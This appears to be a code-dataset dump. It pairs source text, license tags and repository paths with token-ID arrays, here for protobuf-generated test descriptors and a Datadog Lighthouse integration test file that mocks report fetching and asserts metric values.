_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_uint32'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_uint32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_uint64'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_uint64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_sint32'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_sint32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_sint64'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_sint64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_fixed32'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_fixed32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_fixed64'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_fixed64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_sfixed32'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_sfixed32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_sfixed64'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_sfixed64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_float'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_float']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_double'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_double']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_bool'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_bool']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_enum'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_enum']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTUNPACKEDTYPES.fields_by_name['repeated_int32'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_int32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_int64'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_int64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_uint32'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_uint32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_uint64'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_uint64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_sint32'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_sint32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_sint64'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_sint64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_fixed32'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_fixed32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_fixed64'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_fixed64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_sfixed32'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_sfixed32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_sfixed64'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_sfixed64']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_float'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_float']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_double'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_double']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_bool'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_bool']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) _TESTUNPACKEDTYPES.fields_by_name['repeated_nested_enum'].has_options = True _TESTUNPACKEDTYPES.fields_by_name['repeated_nested_enum']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000')) # @@protoc_insertion_point(module_scope)
gpl-2.0
[ 3, 17065, 701, 314, 4113, 3335, 6365, 14, 221, 3506, 2845, 24981, 1, 199, 3, 1350, 26, 6233, 15, 7204, 15, 2796, 63, 2625, 19, 63, 65, 28359, 14, 2625, 199, 199, 646, 984, 199, 63, 66, 29, 1274, 14, 1023, 63, 815, 59, 16, 61, 28, 19, 436, 334, 2734, 671, 26, 88, 9, 503, 334, 2734, 671, 26, 88, 14, 2143, 360, 10378, 17, 1333, 199, 504, 6233, 14, 7204, 14, 4672, 492, 4952, 63, 466, 63, 5029, 199, 504, 6233, 14, 7204, 492, 5872, 465, 485, 4120, 199, 504, 6233, 14, 7204, 492, 1245, 465, 485, 1188, 199, 504, 6233, 14, 7204, 492, 25572, 465, 485, 14906, 199, 504, 6233, 14, 7204, 492, 5272, 63, 4659, 465, 485, 5155, 63, 4659, 199, 504, 6233, 14, 7204, 492, 5872, 63, 3317, 18, 199, 3, 13365, 16311, 63, 14739, 63, 1403, 8, 12775, 9, 199, 199, 63, 3840, 63, 697, 275, 485, 5155, 63, 4659, 14, 2698, 342, 421, 199, 504, 6233, 14, 7204, 492, 2882, 63, 646, 63, 3317, 18, 465, 6233, 63, 3287, 63, 7204, 63, 3287, 63, 2796, 363, 646, 363, 3317, 18, 199, 3098, 63, 3287, 63, 7204, 63, 3287, 63, 2796, 363, 646, 363, 3455, 363, 3317, 18, 275, 6233, 63, 3287, 63, 7204, 63, 3287, 63, 2796, 363, 646, 363, 3317, 18, 14, 3098, 63, 3287, 63, 7204, 63, 3287, 63, 2796, 363, 646, 363, 3455, 363, 3317, 18, 421, 199, 7580, 275, 485, 4120, 14, 23859, 8, 523, 536, 534, 3098, 15, 7204, 15, 2796, 63, 2625, 19, 63, 65, 28359, 14, 2625, 297, 523, 2559, 534, 2625, 19, 63, 65, 28359, 63, 2796, 297, 523, 6302, 534, 2625, 19, 297, 523, 6380, 63, 3317, 3699, 66, 2258, 78, 11, 3098, 15, 7204, 15, 2796, 63, 2625, 19, 63, 65, 28359, 14, 2625, 60, 88, 713, 60, 88, 1046, 2625, 19, 63, 65, 28359, 63, 2796, 60, 88, 17, 65, 5, 3098, 15, 7204, 15, 2796, 63, 646, 14, 2625, 13356, 1949, 22, 60, 88, 709, 60, 78, 60, 88, 16, 67, 14973, 60, 88, 713, 60, 88, 975, 60, 78, 60, 88, 16, 69, 4144, 63, 442, 708, 60, 88, 1085, 60, 88, 614, 971, 88, 614, 2961, 88, 1717, 60, 88, 713, 60, 88, 975, 60, 78, 60, 88, 16, 69, 4144, 63, 442, 772, 60, 88, 1085, 60, 88, 996, 971, 88, 614, 2961, 88, 1644, 60, 88, 713, 60, 88, 1196, 60, 78, 60, 88, 16, 70, 4144, 63, 1635, 708, 60, 88, 1085, 60, 88, 1644, 971, 88, 614, 2961, 82, 60, 88, 713, 60, 88, 1196, 60, 78, 60, 88, 16, 70, 4144, 63, 1635, 772, 60, 88, 1085, 60, 88, 966, 971, 88, 614, 2961, 88, 966, 60, 88, 713, 60, 88, 1196, 60, 78, 60, 88, 16, 70, 4144, 63, 30171, 708, 60, 88, 1085, 60, 88, 1717, 971, 88, 614, 2961, 88, 845, 60, 88, 713, 60, 88, 1196, 60, 78, 60, 88, 16, 70, 4144, 63, 30171, 772, 60, 88, 1085, 60, 88, 1690, 971, 88, 614, 2961, 88, 713, 60, 88, 713, 60, 88, 1085, 60, 78, 60, 88, 709, 4144, 63, 5964, 708, 60, 88, 1085, 60, 88, 1780, 971, 88, 614, 2961, 88, 1780, 60, 88, 713, 60, 88, 1085, 60, 78, 60, 88, 709, 4144, 63, 5964, 772, 60, 88, 1085, 60, 88, 2036, 971, 88, 614, 2961, 88, 1690, 60, 88, 713, 60, 88, 1167, 60, 78, 60, 88, 845, 4144, 63, 83, 5964, 708, 60, 88, 1085, 60, 84, 971, 88, 614, 2961, 88, 16, 70, 60, 88, 713, 60, 88, 1167, 60, 78, 60, 88, 845, 4144, 63, 83, 5964, 772, 60, 88, 1085, 60, 78, 971, 88, 614, 2961, 88, 709, 60, 88, 713, 60, 88, 975, 60, 78, 60, 88, 16, 69, 4144, 63, 1609, 60, 88, 1085, 60, 88, 16, 66, 971, 88, 614, 2961, 88, 996, 60, 88, 713, 60, 88, 1196, 60, 78, 60, 88, 16, 70, 4144, 63, 3157, 60, 88, 1085, 60, 88, 16, 67, 971, 88, 614, 2961, 88, 614, 60, 88, 713, 60, 88, 1046, 60, 78, 60, 293, 494, 279, 63, 2245, 60, 88, 1085, 60, 82, 971, 88, 614, 2961, 88, 2036, 60, 88, 713, 60, 88, 1196, 60, 78, 60, 88, 16, 70, 4144, 63, 875, 60, 88, 1085, 60, 88, 16, 69, 971, 88, 614, 2961, 84, 60, 88, 713, 60, 88, 975, 60, 78, 60, 88, 16, 69, 4144, 63, 2394, 60, 88, 1085, 60, 88, 16, 70, 971, 88, 614, 2961, 88, 16, 67, 60, 88, 713, 50, 60, 78, 60, 88, 1196, 4144, 63, 6376, 63, 1188, 60, 88, 1085, 60, 88, 713, 971, 88, 614, 2961, 88, 16, 66, 60, 88, 708, 60, 88, 2192, 14, 2625, 19, 63, 65, 28359, 63, 2796, 14, 14973, 14, 22808, 60, 88, 713, 39, 60, 78, 60, 88, 1085, 4144, 63, 6846, 63, 1188, 60, 88, 1085, 60, 88, 969, 971, 88, 614, 2961, 88, 16, 66, 60, 88, 708, 17229, 2625, 19, 63, 65, 28359, 63, 2796, 14, 20931, 2209, 60, 88, 713, 40, 60, 78, 60, 88, 1196, 4144, 63, 646, 63, 1188, 60, 88, 1085, 60, 88, 1079, 971, 88, 614, 2961, 88, 16, 66, 60, 88, 708, 60, 1370, 7204, 63, 2796, 63, 646, 14, 6295, 2209, 60, 88, 713, 44, 60, 78, 60, 88, 1079, 4144, 63, 6376, 63, 4869, 60, 88, 1085, 60, 88, 1046, 971, 88, 614, 2961, 88, 16, 69, 60, 88, 708, 703, 2625, 19, 63, 65, 28359, 63, 2796, 14, 14973, 14, 13029, 5081, 60, 88, 713, 60, 88, 2953, 60, 78, 60, 88, 1046, 4144, 63, 6846, 63, 4869, 60, 88, 1085, 60, 88, 975, 971, 88, 614, 2961, 88, 16, 69, 60, 88, 708, 60, 1674, 2625, 19, 63, 65, 28359, 63, 2796, 14, 20931, 5081, 60, 88, 713, 12525, 78, 60, 88, 1046, 4144, 63, 875, 63, 20082, 60, 88, 1085, 60, 88, 1085, 971, 88, 614, 2961, 84, 34, 60, 88, 996, 60, 88, 2036, 60, 88, 996, 60, 88, 713, 60, 88, 1167, 60, 78, 60, 293, 494, 279, 63, 1577, 60, 88, 1085, 60, 88, 1167, 971, 88, 614 ]
[ 17065, 701, 314, 4113, 3335, 6365, 14, 221, 3506, 2845, 24981, 1, 199, 3, 1350, 26, 6233, 15, 7204, 15, 2796, 63, 2625, 19, 63, 65, 28359, 14, 2625, 199, 199, 646, 984, 199, 63, 66, 29, 1274, 14, 1023, 63, 815, 59, 16, 61, 28, 19, 436, 334, 2734, 671, 26, 88, 9, 503, 334, 2734, 671, 26, 88, 14, 2143, 360, 10378, 17, 1333, 199, 504, 6233, 14, 7204, 14, 4672, 492, 4952, 63, 466, 63, 5029, 199, 504, 6233, 14, 7204, 492, 5872, 465, 485, 4120, 199, 504, 6233, 14, 7204, 492, 1245, 465, 485, 1188, 199, 504, 6233, 14, 7204, 492, 25572, 465, 485, 14906, 199, 504, 6233, 14, 7204, 492, 5272, 63, 4659, 465, 485, 5155, 63, 4659, 199, 504, 6233, 14, 7204, 492, 5872, 63, 3317, 18, 199, 3, 13365, 16311, 63, 14739, 63, 1403, 8, 12775, 9, 199, 199, 63, 3840, 63, 697, 275, 485, 5155, 63, 4659, 14, 2698, 342, 421, 199, 504, 6233, 14, 7204, 492, 2882, 63, 646, 63, 3317, 18, 465, 6233, 63, 3287, 63, 7204, 63, 3287, 63, 2796, 363, 646, 363, 3317, 18, 199, 3098, 63, 3287, 63, 7204, 63, 3287, 63, 2796, 363, 646, 363, 3455, 363, 3317, 18, 275, 6233, 63, 3287, 63, 7204, 63, 3287, 63, 2796, 363, 646, 363, 3317, 18, 14, 3098, 63, 3287, 63, 7204, 63, 3287, 63, 2796, 363, 646, 363, 3455, 363, 3317, 18, 421, 199, 7580, 275, 485, 4120, 14, 23859, 8, 523, 536, 534, 3098, 15, 7204, 15, 2796, 63, 2625, 19, 63, 65, 28359, 14, 2625, 297, 523, 2559, 534, 2625, 19, 63, 65, 28359, 63, 2796, 297, 523, 6302, 534, 2625, 19, 297, 523, 6380, 63, 3317, 3699, 66, 2258, 78, 11, 3098, 15, 7204, 15, 2796, 63, 2625, 19, 63, 65, 28359, 14, 2625, 60, 88, 713, 60, 88, 1046, 2625, 19, 63, 65, 28359, 63, 2796, 60, 88, 17, 65, 5, 3098, 15, 7204, 15, 2796, 63, 646, 14, 2625, 13356, 1949, 22, 60, 88, 709, 60, 78, 60, 88, 16, 67, 14973, 60, 88, 713, 60, 88, 975, 60, 78, 60, 88, 16, 69, 4144, 63, 442, 708, 60, 88, 1085, 60, 88, 614, 971, 88, 614, 2961, 88, 1717, 60, 88, 713, 60, 88, 975, 60, 78, 60, 88, 16, 69, 4144, 63, 442, 772, 60, 88, 1085, 60, 88, 996, 971, 88, 614, 2961, 88, 1644, 60, 88, 713, 60, 88, 1196, 60, 78, 60, 88, 16, 70, 4144, 63, 1635, 708, 60, 88, 1085, 60, 88, 1644, 971, 88, 614, 2961, 82, 60, 88, 713, 60, 88, 1196, 60, 78, 60, 88, 16, 70, 4144, 63, 1635, 772, 60, 88, 1085, 60, 88, 966, 971, 88, 614, 2961, 88, 966, 60, 88, 713, 60, 88, 1196, 60, 78, 60, 88, 16, 70, 4144, 63, 30171, 708, 60, 88, 1085, 60, 88, 1717, 971, 88, 614, 2961, 88, 845, 60, 88, 713, 60, 88, 1196, 60, 78, 60, 88, 16, 70, 4144, 63, 30171, 772, 60, 88, 1085, 60, 88, 1690, 971, 88, 614, 2961, 88, 713, 60, 88, 713, 60, 88, 1085, 60, 78, 60, 88, 709, 4144, 63, 5964, 708, 60, 88, 1085, 60, 88, 1780, 971, 88, 614, 2961, 88, 1780, 60, 88, 713, 60, 88, 1085, 60, 78, 60, 88, 709, 4144, 63, 5964, 772, 60, 88, 1085, 60, 88, 2036, 971, 88, 614, 2961, 88, 1690, 60, 88, 713, 60, 88, 1167, 60, 78, 60, 88, 845, 4144, 63, 83, 5964, 708, 60, 88, 1085, 60, 84, 971, 88, 614, 2961, 88, 16, 70, 60, 88, 713, 60, 88, 1167, 60, 78, 60, 88, 845, 4144, 63, 83, 5964, 772, 60, 88, 1085, 60, 78, 971, 88, 614, 2961, 88, 709, 60, 88, 713, 60, 88, 975, 60, 78, 60, 88, 16, 69, 4144, 63, 1609, 60, 88, 1085, 60, 88, 16, 66, 971, 88, 614, 2961, 88, 996, 60, 88, 713, 60, 88, 1196, 60, 78, 60, 88, 16, 70, 4144, 63, 3157, 60, 88, 1085, 60, 88, 16, 67, 971, 88, 614, 2961, 88, 614, 60, 88, 713, 60, 88, 1046, 60, 78, 60, 293, 494, 279, 63, 2245, 60, 88, 1085, 60, 82, 971, 88, 614, 2961, 88, 2036, 60, 88, 713, 60, 88, 1196, 60, 78, 60, 88, 16, 70, 4144, 63, 875, 60, 88, 1085, 60, 88, 16, 69, 971, 88, 614, 2961, 84, 60, 88, 713, 60, 88, 975, 60, 78, 60, 88, 16, 69, 4144, 63, 2394, 60, 88, 1085, 60, 88, 16, 70, 971, 88, 614, 2961, 88, 16, 67, 60, 88, 713, 50, 60, 78, 60, 88, 1196, 4144, 63, 6376, 63, 1188, 60, 88, 1085, 60, 88, 713, 971, 88, 614, 2961, 88, 16, 66, 60, 88, 708, 60, 88, 2192, 14, 2625, 19, 63, 65, 28359, 63, 2796, 14, 14973, 14, 22808, 60, 88, 713, 39, 60, 78, 60, 88, 1085, 4144, 63, 6846, 63, 1188, 60, 88, 1085, 60, 88, 969, 971, 88, 614, 2961, 88, 16, 66, 60, 88, 708, 17229, 2625, 19, 63, 65, 28359, 63, 2796, 14, 20931, 2209, 60, 88, 713, 40, 60, 78, 60, 88, 1196, 4144, 63, 646, 63, 1188, 60, 88, 1085, 60, 88, 1079, 971, 88, 614, 2961, 88, 16, 66, 60, 88, 708, 60, 1370, 7204, 63, 2796, 63, 646, 14, 6295, 2209, 60, 88, 713, 44, 60, 78, 60, 88, 1079, 4144, 63, 6376, 63, 4869, 60, 88, 1085, 60, 88, 1046, 971, 88, 614, 2961, 88, 16, 69, 60, 88, 708, 703, 2625, 19, 63, 65, 28359, 63, 2796, 14, 14973, 14, 13029, 5081, 60, 88, 713, 60, 88, 2953, 60, 78, 60, 88, 1046, 4144, 63, 6846, 63, 4869, 60, 88, 1085, 60, 88, 975, 971, 88, 614, 2961, 88, 16, 69, 60, 88, 708, 60, 1674, 2625, 19, 63, 65, 28359, 63, 2796, 14, 20931, 5081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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
DataDog/integrations-extras
lighthouse/tests/test_lighthouse.py
1
3661
import os import pytest from mock import MagicMock from datadog_checks.base.errors import CheckException from datadog_checks.lighthouse import LighthouseCheck HERE = os.path.dirname(os.path.abspath(__file__)) def mock_get_lighthouse_report(cmd, lgr, re=False): if "https" not in cmd[1]: return "", "error", 1 elif "404" in cmd[1]: with open(os.path.join(HERE, 'lighthouse_example_invalid_response.json'), 'r') as f: return f.read(), "", 0 else: # example lighthouse report json for https://docs.datadoghq.com with open(os.path.join(HERE, 'lighthouse_example_valid_response.json'), 'r') as f: return f.read(), "", 0 @pytest.mark.integration def test_check(aggregator, instance): instance = {'url': 'https://www.google.com', 'name': 'google'} lighthouse_check = LighthouseCheck('lighthouse', {}, {}) LighthouseCheck._get_lighthouse_report = MagicMock(side_effect=mock_get_lighthouse_report) lighthouse_check.check(instance) tags = [] tags.append("url:{0}".format(instance["url"])) tags.append("name:{0}".format(instance["name"])) aggregator.assert_metric(name="lighthouse.accessibility", value=86, tags=tags) aggregator.assert_metric(name="lighthouse.best_practices", value=79, tags=tags) aggregator.assert_metric(name="lighthouse.performance", value=74, tags=tags) aggregator.assert_metric(name="lighthouse.pwa", value=58, tags=tags) aggregator.assert_metric(name="lighthouse.seo", value=90, tags=tags) aggregator.assert_all_metrics_covered() @pytest.mark.integration def test_missing_url_instance_check(aggregator, instance): # incomplete instance in yaml missing url incomplete_instance = {'name': 'datadoghq'} lighthouse_check = LighthouseCheck('lighthouse', {}, {}) LighthouseCheck._get_lighthouse_report = MagicMock(side_effect=mock_get_lighthouse_report) with pytest.raises(CheckException): lighthouse_check.check(incomplete_instance) @pytest.mark.integration def test_missing_name_instance_check(aggregator, instance): # incomplete instance in yaml missing name incomplete_instance = {'url': 'https://www.datadoghq.com'} lighthouse_check = LighthouseCheck('lighthouse', {}, {}) LighthouseCheck._get_lighthouse_report = MagicMock(side_effect=mock_get_lighthouse_report) with pytest.raises(CheckException): lighthouse_check.check(incomplete_instance) def test_malformed_url_instance_check(aggregator, instance): # example malformed url malformed_instance = {'url': 'htp://www.datadoghq.comz', 'name': 'malformed_url'} lighthouse_check = LighthouseCheck('lighthouse', {}, {}) LighthouseCheck._get_lighthouse_report = MagicMock(side_effect=mock_get_lighthouse_report) with pytest.raises(CheckException): lighthouse_check.check(malformed_instance) def test_invalid_response_check(aggregator, instance): # an example 404 response, will skip check but not throw error instance = {'url': 'https://httpstat.us/404', 'name': '404 response'} lighthouse_check = LighthouseCheck('lighthouse', {}, {}) LighthouseCheck._get_lighthouse_report = MagicMock(side_effect=mock_get_lighthouse_report) lighthouse_check.check(instance) aggregator.assert_metric(name="lighthouse.accessibility", count=0, at_least=0) aggregator.assert_metric(name="lighthouse.best_practices", count=0, at_least=0) aggregator.assert_metric(name="lighthouse.performance", count=0, at_least=0) aggregator.assert_metric(name="lighthouse.pwa", count=0, at_least=0) aggregator.assert_metric(name="lighthouse.seo", count=0, at_least=0)
bsd-3-clause
[ 646, 747, 199, 199, 646, 4613, 199, 504, 1683, 492, 10079, 199, 199, 504, 6394, 30821, 63, 8625, 14, 1095, 14, 2550, 492, 2670, 1726, 199, 504, 6394, 30821, 63, 8625, 14, 18975, 273, 7130, 492, 491, 2056, 273, 7130, 1799, 199, 199, 5293, 275, 747, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 4832, 3460, 493, 8964, 421, 199, 318, 1683, 63, 362, 63, 18975, 273, 7130, 63, 3070, 8, 1760, 12, 634, 2587, 12, 295, 29, 797, 304, 272, 340, 298, 2859, 2, 440, 315, 2088, 59, 17, 2189, 267, 372, 4873, 298, 705, 401, 413, 272, 916, 298, 5188, 2, 315, 2088, 59, 17, 2189, 267, 543, 1551, 8, 736, 14, 515, 14, 904, 8, 5293, 12, 283, 18975, 273, 7130, 63, 2694, 63, 3197, 63, 1310, 14, 1001, 659, 283, 82, 358, 465, 289, 26, 288, 372, 289, 14, 739, 1062, 4873, 378, 272, 587, 26, 267, 327, 2893, 1212, 3561, 273, 7130, 3622, 2022, 367, 4178, 921, 4757, 14, 4616, 30821, 21550, 14, 957, 267, 543, 1551, 8, 736, 14, 515, 14, 904, 8, 5293, 12, 283, 18975, 273, 7130, 63, 2694, 63, 1078, 63, 1310, 14, 1001, 659, 283, 82, 358, 465, 289, 26, 288, 372, 289, 14, 739, 1062, 4873, 378, 421, 199, 32, 4462, 14, 1657, 14, 15092, 199, 318, 511, 63, 1074, 8, 27562, 12, 1256, 304, 272, 1256, 275, 791, 633, 356, 283, 2859, 921, 1544, 14, 3098, 14, 957, 297, 283, 354, 356, 283, 3098, 936, 272, 1212, 3561, 273, 7130, 63, 1074, 275, 491, 2056, 273, 7130, 1799, 360, 18975, 273, 7130, 297, 5479, 5009, 272, 491, 2056, 273, 7130, 1799, 423, 362, 63, 18975, 273, 7130, 63, 3070, 275, 10079, 8, 2441, 63, 5881, 29, 1805, 63, 362, 63, 18975, 273, 7130, 63, 3070, 9, 339, 1212, 3561, 273, 7130, 63, 1074, 14, 1074, 8, 842, 9, 339, 3762, 275, 942, 272, 3762, 14, 740, 480, 633, 14534, 16, 5469, 908, 8, 842, 905, 633, 13045, 272, 3762, 14, 740, 480, 354, 14534, 16, 5469, 908, 8, 842, 905, 354, 13045, 339, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 645, 823, 4783, 401, 574, 29, 1184, 12, 3762, 29, 2969, 9, 272, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 7010, 63, 80, 6457, 7724, 401, 574, 29, 1965, 12, 3762, 29, 2969, 9, 272, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 20576, 401, 574, 29, 1342, 12, 3762, 29, 2969, 9, 272, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 80, 758, 401, 574, 29, 2010, 12, 3762, 29, 2969, 9, 272, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 261, 79, 401, 574, 29, 2710, 12, 3762, 29, 2969, 9, 339, 10454, 707, 14, 479, 63, 452, 63, 6759, 63, 13560, 342, 421, 199, 32, 4462, 14, 1657, 14, 15092, 199, 318, 511, 63, 4752, 63, 633, 63, 842, 63, 1074, 8, 27562, 12, 1256, 304, 272, 327, 17110, 1256, 315, 8864, 4124, 1166, 272, 17110, 63, 842, 275, 791, 354, 356, 283, 4616, 30821, 21550, 936, 272, 1212, 3561, 273, 7130, 63, 1074, 275, 491, 2056, 273, 7130, 1799, 360, 18975, 273, 7130, 297, 5479, 5009, 272, 491, 2056, 273, 7130, 1799, 423, 362, 63, 18975, 273, 7130, 63, 3070, 275, 10079, 8, 2441, 63, 5881, 29, 1805, 63, 362, 63, 18975, 273, 7130, 63, 3070, 9, 339, 543, 4613, 14, 3536, 8, 1799, 1726, 304, 267, 1212, 3561, 273, 7130, 63, 1074, 14, 1074, 8, 24575, 63, 842, 9, 421, 199, 32, 4462, 14, 1657, 14, 15092, 199, 318, 511, 63, 4752, 63, 354, 63, 842, 63, 1074, 8, 27562, 12, 1256, 304, 272, 327, 17110, 1256, 315, 8864, 4124, 536, 272, 17110, 63, 842, 275, 791, 633, 356, 283, 2859, 921, 1544, 14, 4616, 30821, 21550, 14, 957, 936, 272, 1212, 3561, 273, 7130, 63, 1074, 275, 491, 2056, 273, 7130, 1799, 360, 18975, 273, 7130, 297, 5479, 5009, 272, 491, 2056, 273, 7130, 1799, 423, 362, 63, 18975, 273, 7130, 63, 3070, 275, 10079, 8, 2441, 63, 5881, 29, 1805, 63, 362, 63, 18975, 273, 7130, 63, 3070, 9, 339, 543, 4613, 14, 3536, 8, 1799, 1726, 304, 267, 1212, 3561, 273, 7130, 63, 1074, 14, 1074, 8, 24575, 63, 842, 9, 421, 199, 318, 511, 63, 31029, 63, 633, 63, 842, 63, 1074, 8, 27562, 12, 1256, 304, 272, 327, 2893, 24159, 1166, 272, 24159, 63, 842, 275, 791, 633, 356, 283, 517, 80, 921, 1544, 14, 4616, 30821, 21550, 14, 957, 90, 297, 283, 354, 356, 283, 31029, 63, 633, 936, 272, 1212, 3561, 273, 7130, 63, 1074, 275, 491, 2056, 273, 7130, 1799, 360, 18975, 273, 7130, 297, 5479, 5009, 272, 491, 2056, 273, 7130, 1799, 423, 362, 63, 18975, 273, 7130, 63, 3070, 275, 10079, 8, 2441, 63, 5881, 29, 1805, 63, 362, 63, 18975, 273, 7130, 63, 3070, 9, 339, 543, 4613, 14, 3536, 8, 1799, 1726, 304, 267, 1212, 3561, 273, 7130, 63, 1074, 14, 1074, 8, 31029, 63, 842, 9, 421, 199, 318, 511, 63, 3197, 63, 1310, 63, 1074, 8, 27562, 12, 1256, 304, 272, 327, 376, 2893, 7901, 1177, 12, 911, 3372, 1104, 1325, 440, 7978, 1125, 272, 1256, 275, 791, 633, 356, 283, 2859, 921, 1014, 3736, 14, 527, 15, 5188, 297, 283, 354, 356, 283, 5188, 1177, 936, 339, 1212, 3561, 273, 7130, 63, 1074, 275, 491, 2056, 273, 7130, 1799, 360, 18975, 273, 7130, 297, 5479, 5009, 272, 491, 2056, 273, 7130, 1799, 423, 362, 63, 18975, 273, 7130, 63, 3070, 275, 10079, 8, 2441, 63, 5881, 29, 1805, 63, 362, 63, 18975, 273, 7130, 63, 3070, 9, 339, 1212, 3561, 273, 7130, 63, 1074, 14, 1074, 8, 842, 9, 339, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 645, 823, 4783, 401, 2338, 29, 16, 12, 737, 63, 11790, 29, 16, 9, 272, 10454, 707, 14, 479, 63, 5165, 8, 354, 628, 18975, 273, 7130, 14, 7010, 63, 80, 6457, 7724, 401, 2338, 29, 16, 12, 737, 63, 11790 ]
